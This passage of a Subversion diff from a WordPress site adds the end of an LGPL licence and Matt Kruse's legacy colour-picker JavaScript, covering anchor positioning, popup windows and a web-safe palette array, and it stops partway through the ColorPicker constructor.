+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+			    NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
Index: /trunk/www.guidonia.net/wp/wp-includes/js/colorpicker.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/colorpicker.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/colorpicker.dev.js	(revision 44)
@@ -0,0 +1,707 @@
+// ===================================================================
+// Author: Matt Kruse <matt@mattkruse.com>
+// WWW: http://www.mattkruse.com/
+//
+// NOTICE: You may use this code for any purpose, commercial or
+// private, without any further permission from the author. You may
+// remove this notice from your final code if you wish, however it is
+// appreciated by the author if at least my web site address is kept.
+//
+// You may *NOT* re-distribute this code in any way except through its
+// use. That means, you can include it in your product, or your web
+// site, or any other form where the code is actually being used. You
+// may not put the plain javascript up on your site for download or
+// include it in your javascript libraries for download. 
+// If you wish to share this code with others, please just point them
+// to the URL instead.
+// Please DO NOT link directly to my .js files from your site. Copy
+// the files to your server and use them there. Thank you.
+// ===================================================================
+
+
+/* SOURCE FILE: AnchorPosition.js */
+
+/* 
+AnchorPosition.js
+Author: Matt Kruse
+Last modified: 10/11/02
+
+DESCRIPTION: These functions find the position of an <A> tag in a document,
+so other elements can be positioned relative to it.
+
+COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small
+positioning errors - usually with Window positioning - occur on the 
+Macintosh platform.
+
+FUNCTIONS:
+getAnchorPosition(anchorname)
+  Returns an Object() having .x and .y properties of the pixel coordinates
+  of the upper-left corner of the anchor. Position is relative to the PAGE.
+
+getAnchorWindowPosition(anchorname)
+  Returns an Object() having .x and .y properties of the pixel coordinates
+  of the upper-left corner of the anchor, relative to the WHOLE SCREEN.
+
+NOTES:
+
+1) For popping up separate browser windows, use getAnchorWindowPosition. 
+   Otherwise, use getAnchorPosition
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the 
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the 
+   anchor tag correctly. Do not do <A></A> with no space.
+*/ 
+
+// getAnchorPosition(anchorname)
+//   This function returns an object having .x and .y properties which are the coordinates
+//   of the named anchor, relative to the page.
+function getAnchorPosition(anchorname) {
+	// This function will return an Object with x and y properties
+	var useWindow=false;
+	var coordinates=new Object();
+	var x=0,y=0;
+	// Browser capability sniffing
+	var use_gebi=false, use_css=false, use_layers=false;
+	if (document.getElementById) { use_gebi=true; }
+	else if (document.all) { use_css=true; }
+	else if (document.layers) { use_layers=true; }
+	// Logic to find position
+ 	if (use_gebi && document.all) {
+		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
+		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
+		}
+	else if (use_gebi) {
+		var o=document.getElementById(anchorname);
+		x=AnchorPosition_getPageOffsetLeft(o);
+		y=AnchorPosition_getPageOffsetTop(o);
+		}
+ 	else if (use_css) {
+		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
+		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
+		}
+	else if (use_layers) {
+		var found=0;
+		for (var i=0; i<document.anchors.length; i++) {
+			if (document.anchors[i].name==anchorname) { found=1; break; }
+			}
+		if (found==0) {
+			coordinates.x=0; coordinates.y=0; return coordinates;
+			}
+		x=document.anchors[i].x;
+		y=document.anchors[i].y;
+		}
+	else {
+		coordinates.x=0; coordinates.y=0; return coordinates;
+		}
+	coordinates.x=x;
+	coordinates.y=y;
+	return coordinates;
+	}
+
+// getAnchorWindowPosition(anchorname)
+//   This function returns an object having .x and .y properties which are the coordinates
+//   of the named anchor, relative to the window
+function getAnchorWindowPosition(anchorname) {
+	var coordinates=getAnchorPosition(anchorname);
+	var x=0;
+	var y=0;
+	if (document.getElementById) {
+		if (isNaN(window.screenX)) {
+			x=coordinates.x-document.body.scrollLeft+window.screenLeft;
+			y=coordinates.y-document.body.scrollTop+window.screenTop;
+			}
+		else {
+			x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
+			y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
+			}
+		}
+	else if (document.all) {
+		x=coordinates.x-document.body.scrollLeft+window.screenLeft;
+		y=coordinates.y-document.body.scrollTop+window.screenTop;
+		}
+	else if (document.layers) {
+		x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
+		y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
+		}
+	coordinates.x=x;
+	coordinates.y=y;
+	return coordinates;
+	}
+
+// Functions for IE to get position of an object
+function AnchorPosition_getPageOffsetLeft (el) {
+	var ol=el.offsetLeft;
+	while ((el=el.offsetParent) != null) { ol += el.offsetLeft; }
+	return ol;
+	}
+function AnchorPosition_getWindowOffsetLeft (el) {
+	return AnchorPosition_getPageOffsetLeft(el)-document.body.scrollLeft;
+	}
+function AnchorPosition_getPageOffsetTop (el) {
+	var ot=el.offsetTop;
+	while((el=el.offsetParent) != null) { ot += el.offsetTop; }
+	return ot;
+	}
+function AnchorPosition_getWindowOffsetTop (el) {
+	return AnchorPosition_getPageOffsetTop(el)-document.body.scrollTop;
+	}
+
+/* SOURCE FILE: PopupWindow.js */
+
+/* 
+PopupWindow.js
+Author: Matt Kruse
+Last modified: 02/16/04
+
+DESCRIPTION: This object allows you to easily and quickly popup a window
+in a certain place. The window can either be a DIV or a separate browser
+window.
+
+COMPATABILITY: Works with Netscape 4.x, 6.x, IE 5.x on Windows. Some small
+positioning errors - usually with Window positioning - occur on the 
+Macintosh platform. Due to bugs in Netscape 4.x, populating the popup 
+window with <STYLE> tags may cause errors.
+
+USAGE:
+// Create an object for a WINDOW popup
+var win = new PopupWindow(); 
+
+// Create an object for a DIV window using the DIV named 'mydiv'
+var win = new PopupWindow('mydiv'); 
+
+// Set the window to automatically hide itself when the user clicks 
+// anywhere else on the page except the popup
+win.autoHide(); 
+
+// Show the window relative to the anchor name passed in
+win.showPopup(anchorname);
+
+// Hide the popup
+win.hidePopup();
+
+// Set the size of the popup window (only applies to WINDOW popups
+win.setSize(width,height);
+
+// Populate the contents of the popup window that will be shown. If you 
+// change the contents while it is displayed, you will need to refresh()
+win.populate(string);
+
+// set the URL of the window, rather than populating its contents
+// manually
+win.setUrl("http://www.site.com/");
+
+// Refresh the contents of the popup
+win.refresh();
+
+// Specify how many pixels to the right of the anchor the popup will appear
+win.offsetX = 50;
+
+// Specify how many pixels below the anchor the popup will appear
+win.offsetY = 100;
+
+NOTES:
+1) Requires the functions in AnchorPosition.js
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the 
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the 
+   anchor tag correctly. Do not do <A></A> with no space.
+
+4) When a PopupWindow object is created, a handler for 'onmouseup' is
+   attached to any event handler you may have already defined. Do NOT define
+   an event handler for 'onmouseup' after you define a PopupWindow object or
+   the autoHide() will not work correctly.
+*/ 
+
+// Set the position of the popup window based on the anchor
+function PopupWindow_getXYPosition(anchorname) {
+	var coordinates;
+	if (this.type == "WINDOW") {
+		coordinates = getAnchorWindowPosition(anchorname);
+		}
+	else {
+		coordinates = getAnchorPosition(anchorname);
+		}
+	this.x = coordinates.x;
+	this.y = coordinates.y;
+	}
+// Set width/height of DIV/popup window
+function PopupWindow_setSize(width,height) {
+	this.width = width;
+	this.height = height;
+	}
+// Fill the window with contents
+function PopupWindow_populate(contents) {
+	this.contents = contents;
+	this.populated = false;
+	}
+// Set the URL to go to
+function PopupWindow_setUrl(url) {
+	this.url = url;
+	}
+// Set the window popup properties
+function PopupWindow_setWindowProperties(props) {
+	this.windowProperties = props;
+	}
+// Refresh the displayed contents of the popup
+function PopupWindow_refresh() {
+	if (this.divName != null) {
+		// refresh the DIV object
+		if (this.use_gebi) {
+			document.getElementById(this.divName).innerHTML = this.contents;
+			}
+		else if (this.use_css) { 
+			document.all[this.divName].innerHTML = this.contents;
+			}
+		else if (this.use_layers) { 
+			var d = document.layers[this.divName]; 
+			d.document.open();
+			d.document.writeln(this.contents);
+			d.document.close();
+			}
+		}
+	else {
+		if (this.popupWindow != null && !this.popupWindow.closed) {
+			if (this.url!="") {
+				this.popupWindow.location.href=this.url;
+				}
+			else {
+				this.popupWindow.document.open();
+				this.popupWindow.document.writeln(this.contents);
+				this.popupWindow.document.close();
+			}
+			this.popupWindow.focus();
+			}
+		}
+	}
+// Position and show the popup, relative to an anchor object
+function PopupWindow_showPopup(anchorname) {
+	this.getXYPosition(anchorname);
+	this.x += this.offsetX;
+	this.y += this.offsetY;
+	if (!this.populated && (this.contents != "")) {
+		this.populated = true;
+		this.refresh();
+		}
+	if (this.divName != null) {
+		// Show the DIV object
+		if (this.use_gebi) {
+			document.getElementById(this.divName).style.left = this.x + "px";
+			document.getElementById(this.divName).style.top = this.y;
+			document.getElementById(this.divName).style.visibility = "visible";
+			}
+		else if (this.use_css) {
+			document.all[this.divName].style.left = this.x;
+			document.all[this.divName].style.top = this.y;
+			document.all[this.divName].style.visibility = "visible";
+			}
+		else if (this.use_layers) {
+			document.layers[this.divName].left = this.x;
+			document.layers[this.divName].top = this.y;
+			document.layers[this.divName].visibility = "visible";
+			}
+		}
+	else {
+		if (this.popupWindow == null || this.popupWindow.closed) {
+			// If the popup window will go off-screen, move it so it doesn't
+			if (this.x<0) { this.x=0; }
+			if (this.y<0) { this.y=0; }
+			if (screen && screen.availHeight) {
+				if ((this.y + this.height) > screen.availHeight) {
+					this.y = screen.availHeight - this.height;
+					}
+				}
+			if (screen && screen.availWidth) {
+				if ((this.x + this.width) > screen.availWidth) {
+					this.x = screen.availWidth - this.width;
+					}
+				}
+			var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled );
+			this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"");
+			}
+		this.refresh();
+		}
+	}
+// Hide the popup
+function PopupWindow_hidePopup() {
+	if (this.divName != null) {
+		if (this.use_gebi) {
+			document.getElementById(this.divName).style.visibility = "hidden";
+			}
+		else if (this.use_css) {
+			document.all[this.divName].style.visibility = "hidden";
+			}
+		else if (this.use_layers) {
+			document.layers[this.divName].visibility = "hidden";
+			}
+		}
+	else {
+		if (this.popupWindow && !this.popupWindow.closed) {
+			this.popupWindow.close();
+			this.popupWindow = null;
+			}
+		}
+	}
+// Pass an event and return whether or not it was the popup DIV that was clicked
+function PopupWindow_isClicked(e) {
+	if (this.divName != null) {
+		if (this.use_layers) {
+			var clickX = e.pageX;
+			var clickY = e.pageY;
+			var t = document.layers[this.divName];
+			if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) {
+				return true;
+				}
+			else { return false; }
+			}
+		else if (document.all) { // Need to hard-code this to trap IE for error-handling
+			var t = window.event.srcElement;
+			while (t.parentElement != null) {
+				if (t.id==this.divName) {
+					return true;
+					}
+				t = t.parentElement;
+				}
+			return false;
+			}
+		else if (this.use_gebi && e) {
+			var t = e.originalTarget;
+			while (t.parentNode != null) {
+				if (t.id==this.divName) {
+					return true;
+					}
+				t = t.parentNode;
+				}
+			return false;
+			}
+		return false;
+		}
+	return false;
+	}
+
+// Check an onMouseDown event to see if we should hide
+function PopupWindow_hideIfNotClicked(e) {
+	if (this.autoHideEnabled && !this.isClicked(e)) {
+		this.hidePopup();
+		}
+	}
+// Call this to make the DIV disable automatically when mouse is clicked outside it
+function PopupWindow_autoHide() {
+	this.autoHideEnabled = true;
+	}
+// This global function checks all PopupWindow objects onmouseup to see if they should be hidden
+function PopupWindow_hidePopupWindows(e) {
+	for (var i=0; i<popupWindowObjects.length; i++) {
+		if (popupWindowObjects[i] != null) {
+			var p = popupWindowObjects[i];
+			p.hideIfNotClicked(e);
+			}
+		}
+	}
+// Run this immediately to attach the event listener
+function PopupWindow_attachListener() {
+	if (document.layers) {
+		document.captureEvents(Event.MOUSEUP);
+		}
+	window.popupWindowOldEventListener = document.onmouseup;
+	if (window.popupWindowOldEventListener != null) {
+		document.onmouseup = new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();");
+		}
+	else {
+		document.onmouseup = PopupWindow_hidePopupWindows;
+		}
+	}
+// CONSTRUCTOR for the PopupWindow object
+// Pass it a DIV name to use a DHTML popup, otherwise will default to window popup
+function PopupWindow() {
+	if (!window.popupWindowIndex) { window.popupWindowIndex = 0; }
+	if (!window.popupWindowObjects) { window.popupWindowObjects = new Array(); }
+	if (!window.listenerAttached) {
+		window.listenerAttached = true;
+		PopupWindow_attachListener();
+		}
+	this.index = popupWindowIndex++;
+	popupWindowObjects[this.index] = this;
+	this.divName = null;
+	this.popupWindow = null;
+	this.width=0;
+	this.height=0;
+	this.populated = false;
+	this.visible = false;
+	this.autoHideEnabled = false;
+
+	this.contents = "";
+	this.url="";
+	this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no";
+	if (arguments.length>0) {
+		this.type="DIV";
+		this.divName = arguments[0];
+		}
+	else {
+		this.type="WINDOW";
+		}
+	this.use_gebi = false;
+	this.use_css = false;
+	this.use_layers = false;
+	if (document.getElementById) { this.use_gebi = true; }
+	else if (document.all) { this.use_css = true; }
+	else if (document.layers) { this.use_layers = true; }
+	else { this.type = "WINDOW"; }
+	this.offsetX = 0;
+	this.offsetY = 0;
+	// Method mappings
+	this.getXYPosition = PopupWindow_getXYPosition;
+	this.populate = PopupWindow_populate;
+	this.setUrl = PopupWindow_setUrl;
+	this.setWindowProperties = PopupWindow_setWindowProperties;
+	this.refresh = PopupWindow_refresh;
+	this.showPopup = PopupWindow_showPopup;
+	this.hidePopup = PopupWindow_hidePopup;
+	this.setSize = PopupWindow_setSize;
+	this.isClicked = PopupWindow_isClicked;
+	this.autoHide = PopupWindow_autoHide;
+	this.hideIfNotClicked = PopupWindow_hideIfNotClicked;
+	}
+
+/* SOURCE FILE: ColorPicker2.js */
+
+/* 
+Last modified: 02/24/2003
+
+DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB 
+form. It uses a color "swatch" to display the standard 216-color web-safe 
+palette. The user can then click on a color to select it.
+
+COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js.
+Only the latest DHTML-capable browsers will show the color and hex values
+at the bottom as your mouse goes over them.
+
+USAGE:
+// Create a new ColorPicker object using DHTML popup
+var cp = new ColorPicker();
+
+// Create a new ColorPicker object using Window Popup
+var cp = new ColorPicker('window');
+
+// Add a link in your page to trigger the popup. For example:
+<A HREF="#" onClick="cp.show('pick');return false;" NAME="pick" ID="pick">Pick</A>
+
+// Or use the built-in "select" function to do the dirty work for you:
+<A HREF="#" onClick="cp.select(document.forms[0].color,'pick');return false;" NAME="pick" ID="pick">Pick</A>
+
+// If using DHTML popup, write out the required DIV tag near the bottom
+// of your page.
+<SCRIPT LANGUAGE="JavaScript">cp.writeDiv()</SCRIPT>
+
+// Write the 'pickColor' function that will be called when the user clicks
+// a color and do something with the value. This is only required if you
+// want to do something other than simply populate a form field, which is 
+// what the 'select' function will give you.
+function pickColor(color) {
+	field.value = color;
+	}
+
+NOTES:
+1) Requires the functions in AnchorPosition.js and PopupWindow.js
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the 
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the 
+   anchor tag correctly. Do not do <A></A> with no space.
+
+4) When a ColorPicker object is created, a handler for 'onmouseup' is
+   attached to any event handler you may have already defined. Do NOT define
+   an event handler for 'onmouseup' after you define a ColorPicker object or
+   the color picker will not hide itself correctly.
+*/ 
+ColorPicker_targetInput = null;
+function ColorPicker_writeDiv() {
+	document.writeln("<DIV ID=\"colorPickerDiv\" STYLE=\"position:absolute;visibility:hidden;\"> </DIV>");
+	}
+
+function ColorPicker_show(anchorname) {
+	this.showPopup(anchorname);
+	}
+
+function ColorPicker_pickColor(color,obj) {
+	obj.hidePopup();
+	pickColor(color);
+	}
+
+// A Default "pickColor" function to accept the color passed back from popup.
+// User can over-ride this with their own function.
+function pickColor(color) {
+	if (ColorPicker_targetInput==null) {
+		alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");
+		return;
+		}
+	ColorPicker_targetInput.value = color;
+	}
+
+// This function is the easiest way to popup the window, select a color, and
+// have the value populate a form field, which is what most people want to do.
+function ColorPicker_select(inputobj,linkname) {
+	if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") { 
+		alert("colorpicker.select: Input object passed is not a valid form input object"); 
+		window.ColorPicker_targetInput=null;
+		return;
+		}
+	window.ColorPicker_targetInput = inputobj;
+	this.show(linkname);
+	}
+
+// This function runs when you move your mouse over a color block, if you have a newer browser
+function ColorPicker_highlightColor(c) {
+	var thedoc = (arguments.length>1)?arguments[1]:window.document;
+	var d = thedoc.getElementById("colorPickerSelectedColor");
+	d.style.backgroundColor = c;
+	d = thedoc.getElementById("colorPickerSelectedColorValue");
+	d.innerHTML = c;
+	}
+
+function ColorPicker() {
+	var windowMode = false;
+	// Create a new PopupWindow object
+	if (arguments.length==0) {
+		var divname = "colorPickerDiv";
+		}
+	else if (arguments[0] == "window") {
+		var divname = '';
+		windowMode = true;
+		}
+	else {
+		var divname = arguments[0];
+		}
+
+	if (divname != "") {
+		var cp = new PopupWindow(divname);
+		}
+	else {
+		var cp = new PopupWindow();
+		cp.setSize(225,250);
+		}
+
+	// Object variables
+	cp.currentValue = "#FFFFFF";
+
+	// Method Mappings
+	cp.writeDiv = ColorPicker_writeDiv;
+	cp.highlightColor = ColorPicker_highlightColor;
+	cp.show = ColorPicker_show;
+	cp.select = ColorPicker_select;
+
+	// Code to populate color picker window
+	var colors = new Array(	"#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099",
+							"#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099",
+							"#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099",
+							"#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF",
+							"#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F",
+							"#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000",
+
+							"#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399",
+							"#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399",
+							"#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399",
+							"#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF",
+							"#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F",
+							"#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00",
+
+							"#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699",
+							"#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699",
+							"#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699",
+							"#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F",
+							"#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F",
+							"#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F",
+
+							"#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999",
+							"#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999",
+							"#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999",
+							"#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF",
+							"#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F",
+							"#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000",
+
+							"#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99",
+							"#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99",
+							"#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99",
+							"#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF",
+							"#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F",
+							"#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00",
+
+							"#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99",
+							"#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99",
+							"#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99",
+							"#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F",
+							"#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F",
+							"#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F",
+
+							"#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666",
+							"#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000",
+							"#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000",
+							"#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999",
+							"#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF",
+							"#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66",
+							"#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00",
+							"#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000",
+							"#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099",
+							"#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF",
+							"#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF",
+							"#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC",
+							"#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000",
+							"#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900",
+							"#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33",
+							"#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF",
+							"#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF",
+							"#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F",
+							"#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F",
+							"#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F",
+							"#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");
+	var total = colors.length;
+	var width = 72;
+	var cp_contents = "";
+	var windowRef = (windowMode)?"window.opener.":"";
+	if (windowMode) {
+		cp_contents += "<html><head><title>Select Color</title></head>";
+		cp_contents += "<body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><span style='text-align: center;'>";
+		}
